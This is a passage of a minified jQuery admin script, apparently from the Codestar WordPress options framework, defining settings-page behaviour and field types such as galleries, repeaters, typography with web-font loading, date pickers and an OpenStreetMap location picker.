!function(S,_,b,y){"use strict";var j={funcs:{}};j.vars={onloaded:!1,$body:S("body"),$window:S(_),$document:S(b),$form_warning:null,is_confirm:!1,form_modified:!1,code_themes:[],is_rtl:S("body").hasClass("rtl")},j.helper={uid:function(e){return(e||"")+Math.random().toString(36).substr(2,9)},preg_quote:function(e){return(e+"").replace(/(\[|\])/g,"\\$1")},name_nested_replace:function(e,t){var n=new RegExp(j.helper.preg_quote(t+"[\\d+]"),"g");e.find(":radio").each(function(){(this.checked||this.orginal_checked)&&(this.orginal_checked=!0)}),e.each(function(e){S(this).find(":input").each(function(){this.name=this.name.replace(n,t+"["+e+"]"),this.orginal_checked&&(this.checked=!0)})})},debounce:function(i,s,c){var a;return function(){var e=this,t=arguments,n=c&&!a;clearTimeout(a),a=setTimeout(function(){a=null,c||i.apply(e,t)},s),n&&i.apply(e,t)}}},S.fn.csf_clone=function(){for(var e=S.fn.clone.apply(this,arguments),t=this.find("select").add(this.filter("select")),n=e.find("select").add(e.filter("select")),i=0;i<t.length;++i)for(var s=0;s<t[i].options.length;++s)!0===t[i].options[s].selected&&(n[i].options[s].selected=!0);return this.find(":radio").each(function(){this.orginal_checked=this.checked}),e},S.fn.csf_expand_all=function(){return this.each(function(){S(this).on("click",function(e){e.preventDefault(),S(".csf-wrapper").toggleClass("csf-show-all"),S(".csf-section").csf_reload_script(),S(this).find(".fa").toggleClass("fa-indent").toggleClass("fa-outdent")})})},S.fn.csf_nav_options=function(){return this.each(function(){var n,e=S(this),t=S(_),i=S("#wpwrap"),s=e.find("a");t.on("hashchange csf.hashchange",function(){var e=_.location.hash.replace("#tab=",""),e=e||s.first().attr("href").replace("#tab=",""),t=S('[data-tab-id="'+e+'"]');t.length&&(t.closest(".csf-tab-item").addClass("csf-tab-expanded").siblings().removeClass("csf-tab-expanded"),t.next().is("ul")&&(e=(t=t.next().find("li").first().find("a")).data("tab-id")),s.removeClass("csf-active"),t.addClass("csf-active"),n&&n.addClass("hidden"),(t=S('[data-section-id="'+e+'"]')).removeClass("hidden"),t.csf_reload_script(),S(".csf-section-id").val(t.index()+1),n=t,i.hasClass("wp-responsive-open")&&(S("html, body").animate({scrollTop:t.offset().top-50},200),i.removeClass("wp-responsive-open")))}).trigger("csf.hashchange")})},S.fn.csf_nav_metabox=function(){return this.each(function(){var n,e=S(this),i=e.find("a"),s=e.parent().find(".csf-section");i.each(function(t){S(this).on("click",function(e){e.preventDefault();e=S(this),i.removeClass("csf-active"),e.addClass("csf-active"),n!==y&&n.addClass("hidden"),e=s.eq(t);e.removeClass("hidden"),e.csf_reload_script(),n=e})}),i.first().trigger("click")})},S.fn.csf_page_templates=function(){this.length&&S(b).on("change",".editor-page-attributes__template select, #page_template, .edit-post-post-status + div select",function(){var e=S(this).val()||"default";S(".csf-page-templates").removeClass("csf-metabox-show").addClass("csf-metabox-hide"),S(".csf-page-"+e.toLowerCase().replace(/[^a-zA-Z0-9]+/g,"-")).removeClass("csf-metabox-hide").addClass("csf-metabox-show")})},S.fn.csf_post_formats=function(){this.length&&S(b).on("change",'.editor-post-format select, #formatdiv input[name="post_format"]',function(){var e="0"===(e=S(this).val()||"default")?"default":e;S(".csf-post-formats").removeClass("csf-metabox-show").addClass("csf-metabox-hide"),S(".csf-post-format-"+e).removeClass("csf-metabox-hide").addClass("csf-metabox-show")})},S.fn.csf_search=function(){return this.each(function(){S(this).find("input").on("change keyup",function(){var t=S(this).val(),e=S(".csf-wrapper"),n=e.find(".csf-section").find("> .csf-field:not(.csf-depend-on)"),i=n.find("> .csf-title, .csf-search-tags");3<t.length?(n.addClass("csf-metabox-hide"),e.addClass("csf-search-all"),i.each(function(){var e=S(this);e.text().match(new RegExp(".*?"+t+".*?","i"))&&((e=e.closest(".csf-field")).removeClass("csf-metabox-hide"),e.parent().csf_reload_script())})):(n.removeClass("csf-metabox-hide"),e.removeClass("csf-search-all"))})})},S.fn.csf_sticky=function(){return this.each(function(){function e(){r=i.scrollTop(),f()}var n=S(this),i=S(_),s=n.find(".csf-header-inner"),c=parseInt(s.css("padding-left"))+parseInt(s.css("padding-right")),a=32,r=0,t=!1,o=function(){var e=n.offset().top,e=Math.max(a,e-r),t=i.innerWidth();e<=a&&782<t?(s.css({width:n.outerWidth()-c}),n.css({height:n.outerHeight()}).addClass("csf-sticky")):(s.removeAttr("style"),n.removeAttr("style").removeClass("csf-sticky"))},f=function(){t||requestAnimationFrame(function(){o(),t=!1}),t=!0};i.on("scroll resize",e),e()})},S.fn.csf_dependency=function(){return this.each(function(){var t,n,o,f,e=S(this),i=e.children("[data-controller]");i.length&&(t=S.csf_deps.createRuleset(),n=S.csf_deps.createRuleset(),o=[],f=[],i.each(function(){var i=S(this),e=i.data("controller").split("|"),s=i.data("condition").split("|"),c=i.data("value").toString().split("|"),a=!!i.data("depend-global"),r=a?n:t;S.each(e,function(e,t){var n=c[e]||"",e=s[e]||s[0];(r=r.createRule('[data-depend-id="'+t+'"]',e,n)).include(i),(a?f:o).push(t)})}),o.length&&S.csf_deps.enable(e,t,o),f.length&&S.csf_deps.enable(j.vars.$body,n,f))})},S.fn.csf_field_accordion=function(){return this.each(function(){S(this).find(".csf-accordion-title").on("click",function(){var e=S(this),t=e.find(".csf-accordion-icon"),e=e.next();t.hasClass("fa-angle-right")?t.removeClass("fa-angle-right").addClass("fa-angle-down"):t.removeClass("fa-angle-down").addClass("fa-angle-right"),e.data("opened")||(e.csf_reload_script(),e.data("opened",!0)),e.toggleClass("csf-accordion-open")})})},S.fn.csf_field_backup=function(){return this.each(function(){var t,n,i,s;_.wp.customize!==y&&(n=S(t=this),S("body"),i=n.find(".csf-import"),s=n.find(".csf-reset"),t.notificationOverlay=function(){wp.customize.notifications&&wp.customize.OverlayNotification&&(wp.customize.state("saved").get()||(wp.customize.state("changesetStatus").set("trash"),wp.customize.each(function(e){e._dirty=!1}),wp.customize.state("saved").set(!0)),wp.customize.notifications.add(new wp.customize.OverlayNotification("csf_field_backup_notification",{type:"default",message:"&nbsp;",loading:!0})))},s.on("click",function(e){e.preventDefault(),j.vars.is_confirm&&(t.notificationOverlay(),_.wp.ajax.post("csf-reset",{unique:s.data("unique"),nonce:s.data("nonce")}).done(function(e){_.location.reload(!0)}).fail(function(e){alert(e.error),wp.customize.notifications.remove("csf_field_backup_notification")}))}),i.on("click",function(e){e.preventDefault(),j.vars.is_confirm&&(t.notificationOverlay(),_.wp.ajax.post("csf-import",{unique:i.data("unique"),nonce:i.data("nonce"),data:n.find(".csf-import-data").val()}).done(function(e){_.location.reload(!0)}).fail(function(e){alert(e.error),wp.customize.notifications.remove("csf_field_backup_notification")}))}))})},S.fn.csf_field_background=function(){return this.each(function(){S(this).find(".csf--background-image").csf_reload_script()})},S.fn.csf_field_code_editor=function(){return this.each(function(){var t,i,e,s,c;"function"==typeof CodeMirror&&(t=S(this),i=t.find("textarea"),e=t.find(".CodeMirror"),s=i.data("editor"),e.length&&e.remove(),c=setInterval(function(){var n,e;t.is(":visible")&&(n=CodeMirror.fromTextArea(i[0],s),"default"!==s.theme&&-1===j.vars.code_themes.indexOf(s.theme)&&(e=S("<link>"),S("#csf-codemirror-css").after(e),e.attr({rel:"stylesheet",id:"csf-codemirror-"+s.theme+"-css",href:s.cdnURL+"/theme/"+s.theme+".min.css",type:"text/css",media:"all"}),j.vars.code_themes.push(s.theme)),CodeMirror.modeURL=s.cdnURL+"/mode/%N/%N.min.js",CodeMirror.autoLoadMode(n,s.mode),n.on("change",function(e,t){i.val(n.getValue()).trigger("change")}),clearInterval(c))}))})},S.fn.csf_field_date=function(){return this.each(function(){var e=S(this),n=e.find("input"),i=e.find(".csf-date-settings").data("settings"),i=S.extend({},i,{showAnim:"",beforeShow:function(e,t){S(t.dpDiv).addClass("csf-datepicker-wrapper")},onClose:function(e,t){S(t.dpDiv).removeClass("csf-datepicker-wrapper")}});2===n.length&&(i=S.extend({},i,{onSelect:function(e){S(this),n.first();var t=n.first().attr("id")===S(this).attr("id")?"minDate":"maxDate",e=S.datepicker.parseDate(i.dateFormat,e);n.not(this).datepicker("option",t,e)}})),n.each(function(){var e=S(this);e.hasClass("hasDatepicker")&&e.removeAttr("id").removeClass("hasDatepicker"),e.datepicker(i)})})},S.fn.csf_field_datetime=function(){return this.each(function(){var e=S(this),i=e.find("input"),t=e.find(".csf-datetime-settings").data("settings"),t=S.extend({},t,{onReady:function(e,t,n){S(n.calendarContainer).addClass("csf-flatpickr")}});2===i.length&&(t=S.extend({},t,{onChange:function(e,t,n){"from"===S(n.element).data("type")?i.last().get(0)._flatpickr.set("minDate",e[0]):i.first().get(0)._flatpickr.set("maxDate",e[0])}})),i.each(function(){S(this).flatpickr(t)})})},S.fn.csf_field_fieldset=function(){return this.each(function(){S(this).find(".csf-fieldset-content").csf_reload_script()})},S.fn.csf_field_gallery=function(){return this.each(function(){var s,e=S(this),c=e.find(".csf-edit-gallery"),a=e.find(".csf-clear-gallery"),r=e.find("ul"),o=e.find("input");e.find("img");e.on("click",".csf-button, .csf-edit-gallery",function(e){var t=S(this),n=o.val(),t=t.hasClass("csf-edit-gallery")?"edit":"add",i="add"!=t||n.length?"gallery-edit":"gallery";e.preventDefault(),void 0!==_.wp&&_.wp.media&&_.wp.media.gallery&&("gallery"==i?(s=_.wp.media({library:{type:"image"},frame:"post",state:"gallery",multiple:!0})).open():(s=_.wp.media.gallery.edit('[gallery ids="'+n+'"]'),"add"==t&&s.setState("gallery-library")),s.on("update",function(e){r.empty();e=e.models.map(function(e){var e=e.toJSON(),t=(e.sizes&&e.sizes.thumbnail&&e.sizes.thumbnail.url?e.sizes.thumbnail:e).url;return r.append('<li><img src="'+t+'"></li>'),e.id});o.val(e.join(",")).trigger("change"),a.removeClass("hidden"),c.removeClass("hidden")}))}),a.on("click",function(e){e.preventDefault(),r.empty(),o.val("").trigger("change"),a.addClass("hidden"),c.addClass("hidden")})})},S.fn.csf_field_group=function(){return this.each(function(){function e(e){e.preventDefault();var t,n,i,s,e=c.children(".csf-cloneable-item").length;r.hide(),h&&h<e+1?a.show():(t=(e=S(this).parent().parent()).children(".csf-cloneable-helper").csf_clone(!0),n=e.children(".csf-cloneable-title").csf_clone(),i=e.children(".csf-cloneable-content").csf_clone(),(s=S('<div class="csf-cloneable-item" />')).append(t),s.append(n),s.append(i),c.children().eq(e.index()).after(s),j.helper.name_nested_replace(c.children(".csf-cloneable-item"),l),c.accordion("refresh"),c.csf_customizer_refresh(),c.csf_customizer_listen({closest:!0}),d&&u(c))}function t(e){e.preventDefault(),e=c.children(".csf-cloneable-item").length,a.hide(),r.hide(),p&&e-1<p?r.show():(S(this).closest(".csf-cloneable-item").remove(),j.helper.name_nested_replace(c.children(".csf-cloneable-item"),l),c.csf_customizer_refresh(),d&&u(c))}var n=S(this),i=n.children(".csf-fieldset"),i=i.length?i:n,c=i.children(".csf-cloneable-wrapper"),s=i.children(".csf-cloneable-hidden"),a=i.children(".csf-cloneable-max"),r=i.children(".csf-cloneable-min"),o=c.data("title-by"),f=c.data("title-by-prefix"),l=c.data("field-id"),d=Boolean(Number(c.data("title-number"))),h=parseInt(c.data("max")),p=parseInt(c.data("min")),u=(c.hasClass("ui-accordion")&&c.find(".ui-accordion-header-icon").remove(),function(e){e.find(".csf-cloneable-title-number").each(function(e){S(this).html(S(this).closest(".csf-cloneable-item").index()+1+".")})});c.accordion({header:"> .csf-cloneable-item > .csf-cloneable-title",collapsible:!0,active:!1,animate:!1,heightStyle:"content",icons:{header:"csf-cloneable-header-icon fas fa-angle-right",activeHeader:"csf-cloneable-header-icon fas fa-angle-down"},activate:function(e,t){var i,s,n=t.newPanel,t=t.newHeader;n.length&&!n.data("opened")?(i=t.find(".csf-cloneable-value"),s=[],S.each(o,function(e,t){s.push(n.find('[data-depend-id="'+t+'"]'))}),S.each(s,function(e,t){t.on("change keyup csf.keyup",function(){var n=[];S.each(s,function(e,t){t=t.val();t&&n.push(t)}),n.length&&i.text(n.join(f))}).trigger("csf.keyup")}),n.csf_reload_script(),n.data("opened",!0),n.data("retry",!1)):n.data("retry")&&(n.csf_reload_script_retry(),n.data("retry",!1))}}),c.sortable({axis:"y",handle:".csf-cloneable-title,.csf-cloneable-sort",helper:"original",cursor:"move",placeholder:"widget-placeholder",start:function(e,t){c.accordion({active:!1}),c.sortable("refreshPositions"),t.item.children(".csf-cloneable-content").data("retry",!0)},update:function(e,t){j.helper.name_nested_replace(c.children(".csf-cloneable-item"),l),c.csf_customizer_refresh(),d&&u(c)}}),i.children(".csf-cloneable-add").on("click",function(e){e.preventDefault();var t=c.children(".csf-cloneable-item").length;r.hide(),h&&h<t+1?a.show():((e=s.csf_clone(!0)).removeClass("csf-cloneable-hidden"),e.find(':input[name!="_pseudo"]').each(function(){this.name=this.name.replace("___","").replace(l+"[0]",l+"["+t+"]")}),c.append(e),c.accordion("refresh"),c.accordion({active:t}),c.csf_customizer_refresh(),c.csf_customizer_listen({closest:!0}),d&&u(c))}),c.children(".csf-cloneable-item").children(".csf-cloneable-helper").on("click",".csf-cloneable-clone",e),i.children(".csf-cloneable-hidden").children(".csf-cloneable-helper").on("click",".csf-cloneable-clone",e);c.children(".csf-cloneable-item").children(".csf-cloneable-helper").on("click",".csf-cloneable-remove",t),i.children(".csf-cloneable-hidden").children(".csf-cloneable-helper").on("click",".csf-cloneable-remove",t)})},S.fn.csf_field_icon=function(){return this.each(function(){var n=S(this);n.on("click",".csf-icon-add",function(e){e.preventDefault();var e=S(this),t=S("#csf-modal-icon");t.removeClass("hidden"),j.vars.$icon_target=n,j.vars.icon_modal_loaded||(t.find(".csf-modal-loading").show(),_.wp.ajax.post("csf-get-icons",{nonce:e.data("nonce")}).done(function(e){t.find(".csf-modal-loading").hide(),j.vars.icon_modal_loaded=!0;var n=t.find(".csf-modal-load").html(e.content);n.on("click","i",function(e){e.preventDefault();e=S(this).attr("title");j.vars.$icon_target.find(".csf-icon-preview i").removeAttr("class").addClass(e),j.vars.$icon_target.find(".csf-icon-preview").removeClass("hidden"),j.vars.$icon_target.find(".csf-icon-remove").removeClass("hidden"),j.vars.$icon_target.find("input").val(e).trigger("change"),t.addClass("hidden")}),t.on("change keyup",".csf-icon-search",function(){var t=S(this).val();n.find("i").each(function(){var e=S(this);e.attr("title").search(new RegExp(t,"i"))<0?e.hide():e.show()})}),t.on("click",".csf-modal-close, .csf-modal-overlay",function(){t.addClass("hidden")})}).fail(function(e){t.find(".csf-modal-loading").hide(),t.find(".csf-modal-load").html(e.error),t.on("click",function(){t.addClass("hidden")})}))}),n.on("click",".csf-icon-remove",function(e){e.preventDefault(),n.find(".csf-icon-preview").addClass("hidden"),n.find("input").val("").trigger("change"),S(this).addClass("hidden")})})},S.fn.csf_field_map=function(){return this.each(function(){var e,t,n,i,s,c,a,r,o,f,l;"undefined"!=typeof L&&(l=(e=S(this)).find(".csf--map-osm"),t=e.find(".csf--map-search input"),n=e.find(".csf--latitude"),i=e.find(".csf--longitude"),s=e.find(".csf--zoom"),c=l.data("map"),a=L.map(l.get(0),c),L.tileLayer("https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png",{attribution:'&copy; <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors'}).addTo(a),r=L.marker(c.center,{draggable:!0}).addTo(a),o=function(e){n.val(e.lat),i.val(e.lng),s.val(a.getZoom())},a.on("click",function(e){r.setLatLng(e.latlng),o(e.latlng)}),a.on("zoom",function(){o(r.getLatLng())}),r.on("drag",function(){o(r.getLatLng())}),t.length||(t=S('[data-depend-id="'+e.find(".csf--address-field").data("address-field")+'"]')),f={},t.autocomplete({source:function(e,t){var n=e.term;n in f?t(f[n]):S.get("https://nominatim.openstreetmap.org/search",{format:"json",q:n},function(e){e=e.length?e.map(function(e){return{value:e.display_name,label:e.display_name,lat:e.lat,lon:e.lon}},"json"):[{value:"no-data",label:"No Results."}];f[n]=e,t(e)})},select:function(e,t){if("no-data"===t.item.value)return!1;t=L.latLng(t.item.lat,t.item.lon);a.panTo(t),r.setLatLng(t),o(t)},create:function(e,t){S(this).autocomplete("widget").addClass("csf-map-ui-autocomplate")}}),n.on("change",l=function(){var e=L.latLng(n.val(),i.val());a.panTo(e),r.setLatLng(e)}),i.on("change",l))})},S.fn.csf_field_link=function(){return this.each(function(){var i=S(this),e=i.find(".csf--link"),s=i.find(".csf--add"),c=i.find(".csf--edit"),a=i.find(".csf--remove"),r=i.find(".csf--result"),t=j.helper.uid("csf-wplink-textarea-");s.on("click",function(e){e.preventDefault(),_.wpLink.open(t)}),c.on("click",function(e){e.preventDefault(),s.trigger("click"),S("#wp-link-url").val(i.find(".csf--url").val()),S("#wp-link-text").val(i.find(".csf--text").val()),S("#wp-link-target").prop("checked","_blank"===i.find(".csf--target").val())}),a.on("click",function(e){e.preventDefault(),i.find(".csf--url").val("").trigger("change"),i.find(".csf--text").val(""),i.find(".csf--target").val(""),s.removeClass("hidden"),c.addClass("hidden"),a.addClass("hidden"),r.parent().addClass("hidden")}),e.attr("id",t).on("change",function(){var e=_.wpLink.getAttrs(),t=e.href,n=S("#wp-link-text").val(),e=e.target||"";i.find(".csf--url").val(t).trigger("change"),i.find(".csf--text").val(n),i.find(".csf--target").val(e),r.html('{url:"'+t+'", text:"'+n+'", target:"'+e+'"}'),s.addClass("hidden"),c.removeClass("hidden"),a.removeClass("hidden"),r.parent().removeClass("hidden")})})},S.fn.csf_field_media=function(){return this.each(function(){var n,i=S(this),s=i.find(".csf--button"),c=i.find(".csf--remove"),a=s.data("library")&&s.data("library").split(",")||"",r=!!i.hasClass("csf-assign-field-background")&&i.closest(".csf-field-background").find(".csf--auto-attributes");s.on("click",function(e){e.preventDefault(),void 0!==_.wp&&_.wp.media&&_.wp.media.gallery&&(n||(n=_.wp.media({library:{type:a}})).on("select",function(){var e=n.state().get("selection").first().attributes,t=s.data("preview-size")||"thumbnail";a.length&&-1===a.indexOf(e.subtype)&&-1===a.indexOf(e.type)||(i.find(".csf--id").val(e.id),i.find(".csf--width").val(e.width),i.find(".csf--height").val(e.height),i.find(".csf--alt").val(e.alt),i.find(".csf--title").val(e.title),i.find(".csf--description").val(e.description),t=void 0!==e.sizes&&void 0!==e.sizes.thumbnail&&"thumbnail"===t?e.sizes.thumbnail.url:void 0!==e.sizes&&void 0!==e.sizes.full?e.sizes.full.url:"image"===e.type?e.url:e.icon,r&&r.removeClass("csf--attributes-hidden"),c.removeClass("hidden"),i.find(".csf--preview").removeClass("hidden"),i.find(".csf--src").attr("src",t),i.find(".csf--thumbnail").val(t),i.find(".csf--url").val(e.url).trigger("change"))}),n.open())}),c.on("click",function(e){e.preventDefault(),r&&r.addClass("csf--attributes-hidden"),c.addClass("hidden"),i.find("input").val(""),i.find(".csf--preview").addClass("hidden"),i.find(".csf--url").trigger("change")})})},S.fn.csf_field_repeater=function(){return this.each(function(){function e(e){e.preventDefault();var t,n,i,e=s.children(".csf-repeater-item").length;r.hide(),f&&f<e+1?a.show():(t=(e=S(this).parent().parent().parent()).children(".csf-repeater-content").csf_clone(),n=e.children(".csf-repeater-helper").csf_clone(!0),(i=S('<div class="csf-repeater-item" />')).append(t),i.append(n),s.children().eq(e.index()).after(i),i.children(".csf-repeater-content").csf_reload_script(),j.helper.name_nested_replace(s.children(".csf-repeater-item"),o),s.csf_customizer_refresh(),s.csf_customizer_listen({closest:!0}))}function t(e){e.preventDefault(),e=s.children(".csf-repeater-item").length,a.hide(),r.hide(),l&&e-1<l?r.show():(S(this).closest(".csf-repeater-item").remove(),j.helper.name_nested_replace(s.children(".csf-repeater-item"),o),s.csf_customizer_refresh())}var n=S(this),i=n.children(".csf-fieldset"),i=i.length?i:n,s=i.children(".csf-repeater-wrapper"),c=i.children(".csf-repeater-hidden"),a=i.children(".csf-repeater-max"),r=i.children(".csf-repeater-min"),o=s.data("field-id"),f=parseInt(s.data("max")),l=parseInt(s.data("min"));s.children(".csf-repeater-item").children(".csf-repeater-content").csf_reload_script(),s.sortable({axis:"y",handle:".csf-repeater-sort",helper:"original",cursor:"move",placeholder:"widget-placeholder",update:function(e,t){j.helper.name_nested_replace(s.children(".csf-repeater-item"),o),s.csf_customizer_refresh(),t.item.csf_reload_script_retry()}}),i.children(".csf-repeater-add").on("click",function(e){e.preventDefault();var t=s.children(".csf-repeater-item").length;r.hide(),f&&f<t+1?a.show():((e=c.csf_clone(!0)).removeClass("csf-repeater-hidden"),e.find(':input[name!="_pseudo"]').each(function(){this.name=this.name.replace("___","").replace(o+"[0]",o+"["+t+"]")}),s.append(e),e.children(".csf-repeater-content").csf_reload_script(),s.csf_customizer_refresh(),s.csf_customizer_listen({closest:!0}))}),s.children(".csf-repeater-item").children(".csf-repeater-helper").on("click",".csf-repeater-clone",e),i.children(".csf-repeater-hidden").children(".csf-repeater-helper").on("click",".csf-repeater-clone",e);s.children(".csf-repeater-item").children(".csf-repeater-helper").on("click",".csf-repeater-remove",t),i.children(".csf-repeater-hidden").children(".csf-repeater-helper").on("click",".csf-repeater-remove",t)})},S.fn.csf_field_slider=function(){return this.each(function(){var e=S(this),n=e.find("input"),t=e.find(".csf-slider-ui"),e=n.data(),i=n.val()||0;t.hasClass("ui-slider")&&t.empty(),t.slider({range:"min",value:i,min:e.min||0,max:e.max||100,step:e.step||1,slide:function(e,t){n.val(t.value).trigger("change")}}),n.on("keyup",function(){t.slider("value",n.val())})})},S.fn.csf_field_sortable=function(){return this.each(function(){var n=S(this).find(".csf-sortable");n.sortable({axis:"y",helper:"original",cursor:"move",placeholder:"widget-placeholder",update:function(e,t){n.csf_customizer_refresh()}}),n.find(".csf-sortable-content").csf_reload_script()})},S.fn.csf_field_sorter=function(){return this.each(function(){var i=S(this),e=i.find(".csf-enabled"),t=i.find(".csf-disabled"),t=!!t.length&&t;e.sortable({connectWith:t,placeholder:"ui-sortable-placeholder",update:function(e,t){var n=t.item.find("input");t.item.parent().hasClass("csf-enabled")?n.attr("name",n.attr("name").replace("disabled","enabled")):n.attr("name",n.attr("name").replace("enabled","disabled")),i.csf_customizer_refresh()}}),t&&t.sortable({connectWith:e,placeholder:"ui-sortable-placeholder",update:function(e,t){i.csf_customizer_refresh()}})})},S.fn.csf_field_spinner=function(){return this.each(function(){var e=S(this),n=e.find("input"),e=e.find(".ui-button"),i=n.data();e.length&&e.remove(),n.spinner({min:i.min||0,max:i.max||100,step:i.step||1,create:function(e,t){i.unit&&n.after('<span class="ui-button csf--unit">'+i.unit+"</span>")},spin:function(e,t){n.val(t.value).trigger("change")}})})},S.fn.csf_field_switcher=function(){return this.each(function(){var n=S(this).find(".csf--switcher");n.on("click",function(){var e=0,t=n.find("input");n.hasClass("csf--active")?n.removeClass("csf--active"):(e=1,n.addClass("csf--active")),t.val(e).trigger("change")})})},S.fn.csf_field_tabbed=function(){return this.each(function(){var e=S(this),t=e.find(".csf-tabbed-nav a"),n=e.find(".csf-tabbed-content");n.eq(0).csf_reload_script(),t.on("click",function(e){e.preventDefault();var e=S(this),t=e.index(),t=n.eq(t);e.addClass("csf-tabbed-active").siblings().removeClass("csf-tabbed-active"),t.csf_reload_script(),t.removeClass("hidden").siblings().addClass("hidden")})})},S.fn.csf_field_typography=function(){return this.each(function(){var x=this,z=S(this),i=[],D=csf_typography_json.webfonts,t=csf_typography_json.googlestyles,O=csf_typography_json.defaultstyles;x.sanitize_subset=function(e){return e=(e=e.replace("-ext"," Extended")).charAt(0).toUpperCase()+e.slice(1)},x.sanitize_style=function(e){return t[e]||e},x.load_google_font=function(e,t,n){e&&"object"==typeof WebFont&&(t=t?t.replace("normal",""):"",n=n?n.replace("normal",""):"",-1===i.indexOf(e=t||n?e+":"+t+n:e)&&WebFont.load({google:{families:[e]}}),i.push(e))},x.append_select_options=function(e,t,s,c,a){e.find("option").not(":first").remove();var r="";S.each(t,function(e,t){var n=t,i=a?s&&-1!==s.indexOf(t)?" selected":"":s&&s===t?" selected":"";"subset"===c?n=x.sanitize_subset(t):"style"===c&&(n=x.sanitize_style(t)),r+='<option value="'+t+'"'+i+">"+n+"</option>"}),e.append(r).trigger("csf.change").trigger("chosen:updated")},x.init=function(){var c,a,r,o,f,l,d,h,g,p=[],e=z.find(".csf--typography"),u=z.find(".csf--type"),v=z.find(".csf--block-font-style"),m=e.data("unit"),_=e.data("line-height-unit"),t=e.data("exclude")?e.data("exclude").split(","):[],b=(z.find(".csf--chosen").length&&z.find("select").each(function(){var e=S(this),t=e.parent().find(".chosen-container");t.length&&t.remove(),e.chosen({allow_single_deselect:!0,disable_search_threshold:15,width:"100%"})}),z.find(".csf--font-family")),i=b.val(),s=(b.find("option").not(":first-child").remove(),""),y=(S.each(D,function(n,e){t&&-1!==t.indexOf(n)||(s+='<optgroup label="'+e.label+'">',S.each(e.fonts,function(e,t){s+='<option value="'+(t="object"==typeof t?e:t)+'" data-type="'+n+'"'+(t===i?" selected":"")+">"+t+"</option>"}),s+="</optgroup>")}),b.append(s).trigger("chosen:updated"),z.find(".csf--block-font-style")),w=(y.length&&(c=z.find(".csf--font-style-select"),a=c.val()?c.val().replace(/normal/g,""):"",c.on("change csf.change",function(e){var t=c.val(),n=(t=!t&&p&&-1===p.indexOf("normal")?p[0]:t)&&"italic"!==t&&"normal"===t?"normal":"",n=t&&"italic"!==t&&"normal"!==t?t.replace("italic",""):n,t=t&&"italic"===t.substr(-6)?"italic":"";z.find(".csf--font-weight").val(n),z.find(".csf--font-style").val(t)}),(r=z.find(".csf--block-extra-styles")).length&&(o=z.find(".csf--extra-styles"),f=o.val())),z.find(".csf--block-subset")),C=(w.length&&(l=z.find(".csf--subset"),d=l.val(),h=l.data("multiple")||!1),z.find(".csf--block-backup-font-family")),k=(b.on("change csf.change",function(e){w.length&&w.addClass("hidden"),r.length&&r.addClass("hidden"),C.length&&C.addClass("hidden");var t,n,i=b.find(":selected"),s=i.val(),i=i.data("type");i&&s?("google"!==i&&"custom"!==i||!C.length||C.removeClass("hidden"),y.length&&(n=O,"google"===i&&D[i].fonts[s][0]?n=D[i].fonts[s][0]:"custom"===i&&D[i].fonts[s]&&(n=D[i].fonts[s]),t=-1!==(p=n).indexOf("normal")?"normal":n[0],t=a&&-1!==n.indexOf(a)?a:t,x.append_select_options(c,n,t,"style"),a=!1,y.removeClass("hidden"),"google"===i&&r.length&&1<n.length&&(x.append_select_options(o,n,f,"style",!0),f=!1,r.removeClass("hidden"))),"google"===i&&w.length&&D[i].fonts[s][1]&&(n=(t=D[i].fonts[s][1]).length<2&&"latin"!==t[0]?t[0]:"",s=d&&-1!==t.indexOf(d)?d:n,s=h&&d?d:s,x.append_select_options(l,t,s,"subset",h),d=!1,w.removeClass("hidden"))):(v.find(":input").val(""),w.length&&(l.find("option").not(":first-child").remove(),l.trigger("chosen:updated")),y.length&&(c.find("option").not(":first-child").remove(),c.trigger("chosen:updated"))),u.val(i)}).trigger("csf.change"),z.find(".csf--block-preview"));k.length&&(g=z.find(".csf--preview"),z.on("change",j.helper.debounce(function(e){k.removeClass("hidden");var t=b.val(),n=z.find(".csf--font-weight").val(),i=z.find(".csf--font-style").val(),s=z.find(".csf--font-size").val(),c=z.find(".csf--font-variant").val(),a=z.find(".csf--line-height").val(),r=z.find(".csf--text-align").val(),o=z.find(".csf--text-transform").val(),f=z.find(".csf--text-decoration").val(),l=z.find(".csf--color").val(),d=z.find(".csf--word-spacing").val(),h=z.find(".csf--letter-spacing").val(),p=z.find(".csf--custom-style").val(),u=("google"===z.find(".csf--type").val()&&x.load_google_font(t,n,i),{});t&&(u.fontFamily=t),n&&(u.fontWeight=n),i&&(u.fontStyle=i),c&&(u.fontVariant=c),s&&(u.fontSize=s+m),a&&(u.lineHeight=a+_),h&&(u.letterSpacing=h+m),d&&(u.wordSpacing=d+m),r&&(u.textAlign=r),o&&(u.textTransform=o),f&&(u.textDecoration=f),l&&(u.color=l),g.removeAttr("style"),p&&g.attr("style",p),g.css(u)},100)),k.on("click",function(){g.toggleClass("csf--black-background");var e=k.find(".csf--toggle");e.hasClass("fa-toggle-off")?e.removeClass("fa-toggle-off").addClass("fa-toggle-on"):e.removeClass("fa-toggle-on").addClass("fa-toggle-off")}),k.hasClass("hidden")||z.trigger("change"))},x.init()})},S.fn.csf_field_upload=function(){return this.each(function(){var t,e=S(this),n=e.find("input"),i=e.find(".csf--button"),s=e.find(".csf--remove"),c=e.find(".csf--preview"),a=e.find(".csf--src"),r=i.data("library")&&i.data("library").split(",")||"";i.on("click",function(e){e.preventDefault(),void 0!==_.wp&&_.wp.media&&_.wp.media.gallery&&(t||(t=_.wp.media({library:{type:r}})).on("select",function(){var e=t.state().get("selection").first().attributes;r.length&&-1===r.indexOf(e.subtype)&&-1===r.indexOf(e.type)||n.val(e.url).trigger("change")}),t.open())}),s.on("click",function(e){e.preventDefault(),n.val("").trigger("change")}),n.on("change",function(e){var t=n.val();t?s.removeClass("hidden"):s.addClass("hidden"),c.length&&(-1!==S.inArray(t.split(".").pop().toLowerCase(),["jpg","jpeg","gif","png","svg","webp"])?(c.removeClass("hidden"),a.attr("src",t)):c.addClass("hidden"))})})},S.fn.csf_field_wp_editor=function(){return this.each(function(){var e,t,n,i,s,c,a,r;void 0!==_.wp.editor&&void 0!==_.tinyMCEPreInit&&void 